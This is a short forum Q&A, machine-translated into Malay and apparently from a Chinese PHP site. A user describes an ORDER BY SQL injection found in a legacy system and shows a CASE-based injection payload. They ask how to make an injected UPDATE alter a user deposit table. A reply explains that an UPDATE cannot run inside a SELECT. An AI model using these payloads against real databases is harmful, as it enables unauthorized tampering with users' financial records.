mysql - Apakah sebab ralat sql?
黄舟
黄舟 2017-05-18 10:47:26
0
1
851

Menemui kerentanan suntikan sql berasaskan orderBy dalam sistem lama yang sedang diselenggara, dan saya akan mengesahkannya,

Saya akan laksanakan suntikan sql ini dahulu, ok

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0

Tetapi apabila saya melaksanakan sql ini dengan pernyataan kemas kini, saya mendapat ralat:

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0

Laporkan ralat

<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>

Bagaimana saya harus membiarkan dia melakukan kemas kini?

黄舟
黄舟

人生最曼妙的风景,竟是内心的淡定与从容!

membalas semua(1)
淡淡烟草味

Apabila badan utama dipilih, ia tidak boleh dikemas kini, jika tidak, ia tidak boleh dilaksanakan
Saya telah mencuba suntikan seperti ini dalam mybatis Apabila melaksanakan kemas kini dalam <pilih>, ralat dilaporkan secara langsung dan suntikan tidak boleh dilakukan

Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan
Tentang kita Penafian Sitemap
Laman web PHP Cina:Latihan PHP dalam talian kebajikan awam,Bantu pelajar PHP berkembang dengan cepat!